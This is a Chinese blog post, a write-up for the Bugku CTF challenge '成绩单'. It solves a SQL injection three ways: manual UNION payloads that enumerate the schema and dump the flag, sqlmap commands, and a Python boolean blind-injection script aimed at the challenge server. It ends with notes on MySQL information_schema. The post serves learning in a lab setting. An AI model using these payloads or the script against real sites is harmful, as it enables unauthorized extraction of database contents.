
bugku成绩单writeup（手动注入、sqlmap注入、python盲注
详解）

Hacking黑白红  于 2020-07-01 01:19:15 发布  490  收藏 4
分类专栏： 信息安全 CTF bugku 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zsw15841822890/article/details/107054547
版权

 信息安全 同时被 3 个专栏收录
39 篇文章 8 订阅
订阅专栏

 CTF
15 篇文章 6 订阅
订阅专栏

 bugku
7 篇文章 2 订阅
订阅专栏

知识点：SQL注入，三种解法手动注入、sqlmap注入、python盲注

一、手动注入

手动注入前先理解msysql的系统配置

select 1,database(),version();//查询数据库类型和版本

select * from information_schema.schemata //数据库下的所有库 schema_name='mysql'

information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息,SCHEMATA
表：提供了当前mysql实例中所有数据库的信息

SELECT * FROM information_schema.TABLES where table_schema='mysql'//数据库mysql用户下的所有表
table_name

SELECT * FROM information_schema.COLUMNS where table_schema='mysql' and table_name='db' ;//条件要
选用户 table_schema ,表名table_name

select USER from mysql.db //查询字段值

 

1、找到sql注入点

输入1，2，3分别能查到1，2，3号学生的成绩

输入1'返回异常，输入1'--+返回异常，输入1' #或者1’-- +返回正常，看来过滤了--+

（#和--+均为注释）
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观察，表貌似有四列（名字，Math，English，Chinese），

 

输入1' order by 4#返回正常，输入1' order by 5#返回异常，看来的确是4列。

2、接下来就开始暴库名、表名、字段名

尝试联合查询，记得把前面的查询数据置空，写成id=0（0或者很大的数都可以）即可，显示正常，说明确确实
实存在这四列数据 

我们先手遍历一遍 id=0' union select 1,2,3,4#

 

 

发现有四个表且都有回显

开始爆破

1. 首先爆库名：

通过id=0' union select 1,2,3,database()#

 

得到数据库名字skctf_flag

（2）然后爆表：

通过使用 id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where
table_schema=database()# 

 

得到表名：fl4g,sc

（3）爆字段

通过id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where
table_name=0x666c3467# //这里需要用16进制绕过



 

得到字段：skctf_flag

（4）最后查询数据，

通过使用：id=0' union select 1,2,3,skctf_flag from fl4g#

 

二、sqlmap注入

1、bp抓包

输入1并进行抓包。

 

然后按右键，点击copy to file保存文件，这里我保存到了C盘 333.txt



2、sqlmap开始爆库:

sqlmap.py -r “C:\333.txt” -p id –current-db 
-r –> 加载一个文件 
-p –>指定参数 
–current-db –>获取当前数据库名称（current前有两个-）

 

 



可以看到它的数据库为 ‘skctf_flag’,接着就是爆表 
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables 
-D –>指定数据库名称 
–tables –>列出数据库中的表(tables前有两个-) 

可以看到当前数据库中有两个表，很明显，flag应该在fl4g表中，下面就是该爆出表中的字段了 
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fl4g –columns 
-T –>指定表名称 
–columns –>列出表中的字段 

fl4g表中有一个名为skctf_flag字段，最后列出字段信息就可以啦。 
sqlmap.py -r “c:\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –dump 
–dump –>列出字段数据(dump前有两个-) 



三、 python sql盲注

通过构造id=1' and 1=1#或返回成绩，id=1' and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注

脚本

# -*- coding:utf-8 -*-
import requests
import re
 
url = "http://120.24.86.145:8002/chengjidan/index.php"
 
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真，则返回prep2，若prep1为假，则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag 
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
 
information=""
 
for m in range(1,50):
    for i in range(32,129):
        post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
        r = requests.post(url,post_data)
        resultarr = re.findall(r"<td>(.+?)<td>",r.text)
        result = ''.join(resultarr)
        #print result 
        #print r.text
        #print post_data
        if '60' not in result:
            information += chr(i)
            break
print information

payload从上倒下依次是为了得到数据库名字，flag表名，flag字段名，flag

知识点：



MySQL中information_schema是什么

wordpress主机，博客主机

大家在安装或使用MYSQL时，会发现除了自己安装的数据库以外，还有一个information_schema数据库。
information_schema数据库是做什么用的呢，使用WordPress博客的朋友可能会想，是不是安装模板添加的数据
库呀？看完本片文章 后，你就会对information_schema数据库有所了解。

information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式。什么是元数据呢？元数据是
关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包

括“数据词典”和“系统目录”。
在MySQL中，把 information_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务
器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在
INFORMATION_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相
关的任何文件。

information_schema数据库表说明:

SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表
引擎，创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from
schemaname.tablename的结果取之此表。

STATISTICS表：提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准
表。

SCHEMA_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权
表。是非标准表。

TABLE_PRIVILEGES（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标
准表。

COLUMN_PRIVILEGES（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是
非标准表。

CHARACTER_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集
取之此表。

COLLATIONS表：提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表：指明了可用于校对的字符集。这些列等效于SHOW
COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表：描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表：描述了具有约束的键列。

ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数
（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表
列。

VIEWS表：给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。



TRIGGERS表：提供了关于触发程序的信息。必须有super权限才能查看该表

【注】
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